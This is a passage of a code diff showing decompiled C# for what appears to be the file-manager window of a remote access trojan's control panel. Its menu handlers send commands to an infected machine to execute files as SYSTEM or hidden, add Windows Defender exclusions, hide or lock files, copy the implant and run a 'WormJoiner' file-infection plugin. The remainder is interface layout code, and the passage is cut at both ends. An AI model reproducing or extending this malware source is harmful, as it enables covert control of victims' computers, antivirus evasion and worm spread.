selectedRow.Cells[1].Value))); + } + + private void excuteRunAsSystemToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + this.Plugin.Send((object) ("ExcuteRunAsSystem<@>" + Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value))); + } + + private void excuteRunAsHiddenToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + this.Plugin.Send((object) ("ExcuteRunAsHidden<@>" + Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value))); + } + + private void windowsDefenderToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + List values = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + values.Add(Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value)); + this.Plugin.Send((object) ("WindowsDefenderException<@>" + string.Join(",", (IEnumerable) values))); + } + + private void hidenToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + List values = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + values.Add(Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value)); + this.Plugin.Send((object) ("FileHidden<@>" + string.Join(",", (IEnumerable) values))); + } + + private void systemToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + List values = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + values.Add(Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value)); + this.Plugin.Send((object) ("FileSystem<@>" + string.Join(",", (IEnumerable) values))); + } + + private void normalToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + List values = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + values.Add(Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value)); + this.Plugin.Send((object) ("FileNormal<@>" + string.Join(",", (IEnumerable) values))); + } + + private void readOnlyToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + List values = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + values.Add(Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value)); + this.Plugin.Send((object) ("FileReadOnly<@>" + string.Join(",", (IEnumerable) values))); + } + + private void direcToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + List values = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + values.Add(Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value)); + this.Plugin.Send((object) ("FileDirectory<@>" + string.Join(",", (IEnumerable) values))); + } + + private void cutToolStripMenuItem1_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + List values = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + values.Add(Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value)); + this.Plugin.Send((object) ("Cut<@>" + string.Join(",", (IEnumerable) values))); + } + + private void pasteToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count > 0) + { + List values = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + { + if ((string) selectedRow.Cells[3].Value == "Folders") + values.Add(Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value)); + } + this.Plugin.Send((object) ("Paste<@>" + string.Join(",", (IEnumerable) values))); + } + else + this.Plugin.Send((object) ("Paste<@>" + this.TextBoxPathForFile.Text)); + } + + private void copyToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + List values = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + values.Add(Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value)); + this.Plugin.Send((object) ("Copy<@>" + string.Join(",", (IEnumerable) values))); + } + + private void startAudioToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + List values = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + { + if (((string) selectedRow.Cells[1].Value).ToLower().Contains(".mp3") || ((string) selectedRow.Cells[1].Value).ToLower().Contains(".wav")) + values.Add(Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value)); + } + this.Plugin.Send((object) ("StartAudio<@>" + string.Join(",", (IEnumerable) values))); + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.Plugin.Connect && this.client.Connect) + return; + this.Close(); + } + + private void copyMeToolStripMenuItem_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "CopyMe"); + } + + private void unlockToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + List values = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + values.Add(Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value)); + this.Plugin.Send((object) ("Unlock<@>" + string.Join(",", (IEnumerable) values))); + } + + private void lockToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + List values = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + values.Add(Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value)); + this.Plugin.Send((object) ("Lock<@>" + string.Join(",", (IEnumerable) values))); + } + + private void fileInfectingToolStripMenuItem_Click(object sender, EventArgs e) + { + List values = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + values.Add(Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value)); + this.client.Send((object) $"Invoke<@>{Methods.GetChecksum("Plugins\\WormJoiner.dll")}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("path<@>" + string.Join(",", (IEnumerable) values)))}"); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + DataGridViewCellStyle gridViewCellStyle1 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle2 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle3 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle4 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle5 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle6 = new DataGridViewCellStyle(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormFileManager)); + this.FileManager = new Panel(); + this.metroGridPathes = new DataGridView(); + this.contextMenuStrip2 = new ContextMenuStrip(this.components); + this.refreshToolStripMenuItem1 = new ToolStripMenuItem(); + this.metroGridDirictorys = new DataGridView(); + this.contextMenuStrip1 = new ContextMenuStrip(this.components); + this.backToolStripMenuItem = new ToolStripMenuItem(); + this.rEFRESHToolStripMenuItem = new ToolStripMenuItem(); + this.createFolderToolStripMenuItem = new ToolStripMenuItem(); + this.removeToolStripMenuItem = new ToolStripMenuItem(); + this.renameToolStripMenuItem = new ToolStripMenuItem(); + this.uploadToolStripMenuItem = new ToolStripMenuItem(); + this.downloadToolStripMenuItem = new ToolStripMenuItem(); + this.zipToolStripMenuItem = new ToolStripMenuItem(); + this.unZipToolStripMenuItem = new ToolStripMenuItem(); + this.zipToolStripMenuItem1 = new ToolStripMenuItem(); + this.excuteToolStripMenuItem = new ToolStripMenuItem(); + this.excuteToolStripMenuItem1 = new ToolStripMenuItem(); + this.excuteRunAsToolStripMenuItem = new ToolStripMenuItem(); + this.excuteRunAsSystemToolStripMenuItem = new ToolStripMenuItem(); + this.excuteRunAsHiddenToolStripMenuItem = new ToolStripMenuItem(); + this.windowsDefenderToolStripMenuItem = new ToolStripMenuItem(); + this.lockerToolStripMenuItem = new ToolStripMenuItem(); + this.unlockToolStripMenuItem = new ToolStripMenuItem(); + this.lockToolStripMenuItem = new ToolStripMenuItem(); + this.attributeToolStripMenuItem = new ToolStripMenuItem(); + this.hidenToolStripMenuItem = new ToolStripMenuItem(); + this.systemToolStripMenuItem = new ToolStripMenuItem(); + this.normalToolStripMenuItem = new ToolStripMenuItem(); + this.readOnlyToolStripMenuItem = new ToolStripMenuItem(); + this.direcToolStripMenuItem = new ToolStripMenuItem(); + this.cutToolStripMenuItem1 = new ToolStripMenuItem(); + this.pasteToolStripMenuItem = new ToolStripMenuItem(); + this.copyMeToolStripMenuItem = new ToolStripMenuItem(); + this.copyToolStripMenuItem = new ToolStripMenuItem(); + this.startAudioToolStripMenuItem = new ToolStripMenuItem(); + this.fileInfectingToolStripMenuItem = new ToolStripMenuItem(); + this.TextBoxPathForFile = new MetroTextBox(); + this.imageList3 = new ImageList(this.components); + this.panel1 = new Panel(); + this.timer1 = new Timer(this.components); + this.hName = new ColumnHeader(); + this.hType = new ColumnHeader(); + this.hValue = new ColumnHeader(); + this.ImageList1 = new ImageList(this.components); + this.FileManager.SuspendLayout(); + ((ISupportInitialize) this.metroGridPathes).BeginInit(); + this.contextMenuStrip2.SuspendLayout(); + ((ISupportInitialize) this.metroGridDirictorys).BeginInit(); + this.contextMenuStrip1.SuspendLayout(); + this.panel1.SuspendLayout(); + this.SuspendLayout(); + this.FileManager.Controls.Add((Control) this.metroGridPathes); + this.FileManager.Controls.Add((Control) this.metroGridDirictorys); + this.FileManager.Controls.Add((Control) this.TextBoxPathForFile); + this.FileManager.Dock = DockStyle.Fill; + this.FileManager.Location = new Point(0, 0); + this.FileManager.Name = "FileManager"; + this.FileManager.Size = new Size(960, 402); + this.FileManager.TabIndex = 11; + this.metroGridPathes.AllowUserToAddRows = false; + this.metroGridPathes.AllowUserToDeleteRows = false; + this.metroGridPathes.AllowUserToResizeColumns = false; + this.metroGridPathes.AllowUserToResizeRows = false; + this.metroGridPathes.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left; + this.metroGridPathes.BackgroundColor = Color.FromArgb(17, 17, 17); + this.metroGridPathes.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.metroGridPathes.CellBorderStyle = DataGridViewCellBorderStyle.None; + this.metroGridPathes.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle1.Alignment = DataGridViewContentAlignment.TopLeft; + gridViewCellStyle1.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle1.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle1.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.SelectionBackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle1.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.WrapMode = DataGridViewTriState.True; + this.metroGridPathes.ColumnHeadersDefaultCellStyle = gridViewCellStyle1; + this.metroGridPathes.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.metroGridPathes.ContextMenuStrip = this.contextMenuStrip2; + this.metroGridPathes.Cursor = Cursors.Default; + gridViewCellStyle2.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle2.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle2.ForeColor = Color.FromArgb((int) byte.MaxValue, 128 /*0x80*/, 0); + gridViewCellStyle2.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle2.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.WrapMode = DataGridViewTriState.False; + this.metroGridPathes.DefaultCellStyle = gridViewCellStyle2; + this.metroGridPathes.EnableHeadersVisualStyles = false; + this.metroGridPathes.GridColor = Color.FromArgb(17, 17, 17); + this.metroGridPathes.Location = new Point(0, 3); + this.metroGridPathes.Name = "metroGridPathes"; + this.metroGridPathes.ReadOnly = true; + this.metroGridPathes.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle3.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle3.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle3.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle3.Padding = new Padding(1, 0, 0, 0); + gridViewCellStyle3.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle3.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.WrapMode = DataGridViewTriState.True; + this.metroGridPathes.RowHeadersDefaultCellStyle = gridViewCellStyle3; + this.metroGridPathes.RowHeadersVisible = false; + this.metroGridPathes.SelectionMode = DataGridViewSelectionMode.FullRowSelect; + this.metroGridPathes.ShowCellErrors = false; + this.metroGridPathes.ShowCellToolTips = false; + this.metroGridPathes.ShowEditingIcon = false; + this.metroGridPathes.ShowRowErrors = false; + this.metroGridPathes.Size = new Size(235, 396); + this.metroGridPathes.TabIndex = 19; + this.contextMenuStrip2.Items.AddRange(new ToolStripItem[1] + { + (ToolStripItem) this.refreshToolStripMenuItem1 + }); + this.contextMenuStrip2.Name = "contextMenuStrip2"; + this.contextMenuStrip2.Size = new Size(114, 26); + this.refreshToolStripMenuItem1.BackColor = Color.FromArgb(17, 17, 17); + this.refreshToolStripMenuItem1.ForeColor = Color.Lime; + this.refreshToolStripMenuItem1.Name = "refreshToolStripMenuItem1"; + this.refreshToolStripMenuItem1.Size = new Size(113, 22); + this.refreshToolStripMenuItem1.Text = "Refresh"; + this.refreshToolStripMenuItem1.Click += new EventHandler(this.refreshToolStripMenuItem1_Click); + this.metroGridDirictorys.AllowUserToAddRows = false; + this.metroGridDirictorys.AllowUserToDeleteRows = false; + this.metroGridDirictorys.AllowUserToResizeColumns = false; + this.metroGridDirictorys.AllowUserToResizeRows = false; + this.metroGridDirictorys.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.metroGridDirictorys.BackgroundColor = Color.FromArgb(17, 17, 17); + this.metroGridDirictorys.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.metroGridDirictorys.CellBorderStyle = DataGridViewCellBorderStyle.None; + this.metroGridDirictorys.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle4.Alignment = DataGridViewContentAlignment.TopLeft; + gridViewCellStyle4.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle4.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle4.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle4.SelectionBackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle4.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle4.WrapMode = DataGridViewTriState.True; + this.metroGridDirictorys.ColumnHeadersDefaultCellStyle = gridViewCellStyle4; + this.metroGridDirictorys.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.metroGridDirictorys.ContextMenuStrip = this.contextMenuStrip1; + this.metroGridDirictorys.Cursor = Cursors.Default; + gridViewCellStyle5.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle5.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle5.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle5.ForeColor = Color.FromArgb((int) byte.MaxValue, 128 /*0x80*/, 0); + gridViewCellStyle5.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle5.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle5.WrapMode = DataGridViewTriState.False; + this.metroGridDirictorys.DefaultCellStyle = gridViewCellStyle5; + this.metroGridDirictorys.EnableHeadersVisualStyles = false; + this.metroGridDirictorys.GridColor = Color.FromArgb(17, 17, 17); + this.metroGridDirictorys.Location = new Point(236, 29); + this.metroGridDirictorys.Name = "metroGridDirictorys"; + this.metroGridDirictorys.ReadOnly = true; + this.metroGridDirictorys.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle6.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle6.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle6.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle6.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle6.Padding = new Padding(1, 0, 0, 0); + gridViewCellStyle6.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle6.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle6.WrapMode = DataGridViewTriState.True; + this.metroGridDirictorys.RowHeadersDefaultCellStyle = gridViewCellStyle6; + this.metroGridDirictorys.RowHeadersVisible = false; + this.metroGridDirictorys.SelectionMode = DataGridViewSelectionMode.FullRowSelect; + this.metroGridDirictorys.ShowCellErrors = false; + this.metroGridDirictorys.ShowCellToolTips = false; + this.metroGridDirictorys.ShowEditingIcon = false; + this.metroGridDirictorys.ShowRowErrors = false; + this.metroGridDirictorys.Size = new Size(721, 370); + this.metroGridDirictorys.TabIndex = 16 /*0x10*/; + this.contextMenuStrip1.BackColor = Color.White; + this.contextMenuStrip1.ImageScalingSize = new Size(24, 24); + this.contextMenuStrip1.Items.AddRange(new ToolStripItem[18] + { + (ToolStripItem) this.backToolStripMenuItem, + (ToolStripItem) this.rEFRESHToolStripMenuItem, + (ToolStripItem) this.createFolderToolStripMenuItem, + (ToolStripItem) this.removeToolStripMenuItem, + (ToolStripItem) this.renameToolStripMenuItem, + (ToolStripItem) this.uploadToolStripMenuItem, + (ToolStripItem) this.downloadToolStripMenuItem, + (ToolStripItem) this.zipToolStripMenuItem, + (ToolStripItem) this.excuteToolStripMenuItem, + (ToolStripItem) this.windowsDefenderToolStripMenuItem, + (ToolStripItem) this.lockerToolStripMenuItem, + (ToolStripItem) this.attributeToolStripMenuItem, + (ToolStripItem) this.cutToolStripMenuItem1, + (ToolStripItem) this.pasteToolStripMenuItem, + (ToolStripItem) this.copyMeToolStripMenuItem, + (ToolStripItem) this.copyToolStripMenuItem, + (ToolStripItem) this.startAudioToolStripMenuItem, + (ToolStripItem) this.fileInfectingToolStripMenuItem + }); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.Size = new Size(192 /*0xC0*/, 400); + this.backToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.backToolStripMenuItem.ForeColor = Color.YellowGreen; + this.backToolStripMenuItem.Name = "backToolStripMenuItem"; + this.backToolStripMenuItem.Size = new Size(191, 22); + this.backToolStripMenuItem.Text = "Back"; + this.backToolStripMenuItem.Click += new EventHandler(this.backToolStripMenuItem_Click); + this.rEFRESHToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.rEFRESHToolStripMenuItem.ForeColor = Color.YellowGreen; + this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem"; + this.rEFRESHToolStripMenuItem.Size = new Size(191, 22); + this.rEFRESHToolStripMenuItem.Text = "Refresh"; + this.rEFRESHToolStripMenuItem.Click += new EventHandler(this.rEFRESHToolStripMenuItem_Click); + this.createFolderToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.createFolderToolStripMenuItem.ForeColor = Color.YellowGreen; + this.createFolderToolStripMenuItem.Name = "createFolderToolStripMenuItem"; + this.createFolderToolStripMenuItem.Size = new Size(191, 22); + this.createFolderToolStripMenuItem.Text = "Create Folder"; + this.createFolderToolStripMenuItem.Click += new EventHandler(this.createFolderToolStripMenuItem_Click); + this.removeToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.removeToolStripMenuItem.ForeColor = Color.YellowGreen; + this.removeToolStripMenuItem.Name = "removeToolStripMenuItem"; + this.removeToolStripMenuItem.Size = new Size(191, 22); + this.removeToolStripMenuItem.Text = "Remove"; + this.removeToolStripMenuItem.Click += new EventHandler(this.removeToolStripMenuItem_Click); + this.renameToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.renameToolStripMenuItem.ForeColor = Color.YellowGreen; + this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; + this.renameToolStripMenuItem.Size = new Size(191, 22); + this.renameToolStripMenuItem.Text = "Rename"; + this.renameToolStripMenuItem.Click += new EventHandler(this.renameToolStripMenuItem_Click); + this.uploadToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.uploadToolStripMenuItem.ForeColor = SystemColors.ActiveCaption; + this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem"; + this.uploadToolStripMenuItem.Size = new Size(191, 22); + this.uploadToolStripMenuItem.Text = "Upload"; + this.uploadToolStripMenuItem.Click += new EventHandler(this.uploadToolStripMenuItem_Click); + this.downloadToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.downloadToolStripMenuItem.ForeColor = SystemColors.ActiveCaption; + this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; + this.downloadToolStripMenuItem.Size = new Size(191, 22); + this.downloadToolStripMenuItem.Text = "Download"; + this.downloadToolStripMenuItem.Click += new EventHandler(this.downloadToolStripMenuItem_Click); + this.zipToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.zipToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[2] + { + (ToolStripItem) this.unZipToolStripMenuItem, + (ToolStripItem) this.zipToolStripMenuItem1 + }); + this.zipToolStripMenuItem.ForeColor = Color.FromArgb((int) byte.MaxValue, 128 /*0x80*/, 0); + this.zipToolStripMenuItem.Name = "zipToolStripMenuItem"; + this.zipToolStripMenuItem.Size = new Size(191, 22); + this.zipToolStripMenuItem.Text = "Zip"; + this.unZipToolStripMenuItem.BackColor = Color.Black; + this.unZipToolStripMenuItem.ForeColor = Color.FromArgb((int) byte.MaxValue, 128 /*0x80*/, 0); + this.unZipToolStripMenuItem.Name = "unZipToolStripMenuItem"; + this.unZipToolStripMenuItem.Size = new Size(106, 22); + this.unZipToolStripMenuItem.Text = "UnZip"; + this.unZipToolStripMenuItem.Click += new EventHandler(this.unZipToolStripMenuItem_Click); + this.zipToolStripMenuItem1.BackColor = Color.Black; + this.zipToolStripMenuItem1.ForeColor = Color.FromArgb((int) byte.MaxValue, 128 /*0x80*/, 0); + this.zipToolStripMenuItem1.Name = "zipToolStripMenuItem1"; + this.zipToolStripMenuItem1.Size = new Size(106, 22); + this.zipToolStripMenuItem1.Text = "Zip"; + this.zipToolStripMenuItem1.Click += new EventHandler(this.zipToolStripMenuItem1_Click); + this.excuteToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.excuteToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[4] + { + (ToolStripItem) this.excuteToolStripMenuItem1, + (ToolStripItem) this.excuteRunAsToolStripMenuItem, + (ToolStripItem) this.excuteRunAsSystemToolStripMenuItem, + (ToolStripItem) this.excuteRunAsHiddenToolStripMenuItem + }); + this.excuteToolStripMenuItem.ForeColor = Color.FromArgb((int) byte.MaxValue, 128 /*0x80*/, 0); + this.excuteToolStripMenuItem.Name = "excuteToolStripMenuItem"; + this.excuteToolStripMenuItem.Size = new Size(191, 22); + this.excuteToolStripMenuItem.Text = "Excute"; + this.excuteToolStripMenuItem1.BackColor = Color.Black; + this.excuteToolStripMenuItem1.ForeColor = Color.FromArgb((int) byte.MaxValue, 128 /*0x80*/, 0); + this.excuteToolStripMenuItem1.Name = "excuteToolStripMenuItem1"; + this.excuteToolStripMenuItem1.Size = new Size(191, 22); + this.excuteToolStripMenuItem1.Text = "Excute"; + this.excuteToolStripMenuItem1.Click += new EventHandler(this.excuteToolStripMenuItem1_Click); + this.excuteRunAsToolStripMenuItem.BackColor = Color.Black; + this.excuteRunAsToolStripMenuItem.ForeColor = Color.FromArgb((int) byte.MaxValue, 128 /*0x80*/, 0); + this.excuteRunAsToolStripMenuItem.Name = "excuteRunAsToolStripMenuItem"; + this.excuteRunAsToolStripMenuItem.Size = new Size(191, 22); + this.excuteRunAsToolStripMenuItem.Text = "Excute Run As"; + this.excuteRunAsToolStripMenuItem.Click += new EventHandler(this.excuteRunAsToolStripMenuItem_Click); + this.excuteRunAsSystemToolStripMenuItem.BackColor = Color.Black; + this.excuteRunAsSystemToolStripMenuItem.ForeColor = Color.FromArgb((int) byte.MaxValue, 128 /*0x80*/, 0); + this.excuteRunAsSystemToolStripMenuItem.Name = "excuteRunAsSystemToolStripMenuItem"; + this.excuteRunAsSystemToolStripMenuItem.Size = new Size(191, 22); + this.excuteRunAsSystemToolStripMenuItem.Text = "Excute Run As System"; + this.excuteRunAsSystemToolStripMenuItem.Click += new EventHandler(this.excuteRunAsSystemToolStripMenuItem_Click); + this.excuteRunAsHiddenToolStripMenuItem.BackColor = Color.Black; + this.excuteRunAsHiddenToolStripMenuItem.ForeColor = Color.FromArgb((int) byte.MaxValue, 128 /*0x80*/, 0); + this.excuteRunAsHiddenToolStripMenuItem.Name = "excuteRunAsHiddenToolStripMenuItem"; + this.excuteRunAsHiddenToolStripMenuItem.Size = new Size(191, 22); + this.excuteRunAsHiddenToolStripMenuItem.Text = "Excute Run As Hidden"; + this.excuteRunAsHiddenToolStripMenuItem.Click += new EventHandler(this.excuteRunAsHiddenToolStripMenuItem_Click); + this.windowsDefenderToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.windowsDefenderToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.windowsDefenderToolStripMenuItem.Name = "windowsDefenderToolStripMenuItem"; + this.windowsDefenderToolStripMenuItem.Size = new Size(191, 22); + this.windowsDefenderToolStripMenuItem.Text = "WinDef exception add"; + this.windowsDefenderToolStripMenuItem.Click += new EventHandler(this.windowsDefenderToolStripMenuItem_Click); + this.lockerToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.lockerToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[2] + { + (ToolStripItem) this.unlockToolStripMenuItem, + (ToolStripItem) this.lockToolStripMenuItem + }); + this.lockerToolStripMenuItem.ForeColor = Color.YellowGreen; + this.lockerToolStripMenuItem.Name = "lockerToolStripMenuItem"; + this.lockerToolStripMenuItem.Size = new Size(191, 22); + this.lockerToolStripMenuItem.Text = "locker"; + this.unlockToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.unlockToolStripMenuItem.ForeColor = Color.YellowGreen; + this.unlockToolStripMenuItem.Name = "unlockToolStripMenuItem"; + this.unlockToolStripMenuItem.Size = new Size(111, 22); + this.unlockToolStripMenuItem.Text = "Unlock"; + this.unlockToolStripMenuItem.Click += new EventHandler(this.unlockToolStripMenuItem_Click); + this.lockToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.lockToolStripMenuItem.ForeColor = Color.YellowGreen; + this.lockToolStripMenuItem.Name = "lockToolStripMenuItem"; + this.lockToolStripMenuItem.Size = new Size(111, 22); + this.lockToolStripMenuItem.Text = "Lock"; + this.lockToolStripMenuItem.Click += new EventHandler(this.lockToolStripMenuItem_Click); + this.attributeToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.attributeToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[5] + { + (ToolStripItem) this.hidenToolStripMenuItem, + (ToolStripItem) this.systemToolStripMenuItem, + (ToolStripItem) this.normalToolStripMenuItem, + (ToolStripItem) this.readOnlyToolStripMenuItem, + (ToolStripItem) this.direcToolStripMenuItem + }); + this.attributeToolStripMenuItem.ForeColor = Color.YellowGreen; + this.attributeToolStripMenuItem.Name = "attributeToolStripMenuItem"; + this.attributeToolStripMenuItem.Size = new Size(191, 22); + this.attributeToolStripMenuItem.Text = "Attribute"; + this.hidenToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.hidenToolStripMenuItem.ForeColor = Color.Lime; + this.hidenToolStripMenuItem.Name = "hidenToolStripMenuItem"; + this.hidenToolStripMenuItem.Size = new Size(128 /*0x80*/, 22); + this.hidenToolStripMenuItem.Text = "Hidden"; + this.hidenToolStripMenuItem.Click += new EventHandler(this.hidenToolStripMenuItem_Click); + this.systemToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.systemToolStripMenuItem.ForeColor = Color.Lime; + this.systemToolStripMenuItem.Name = 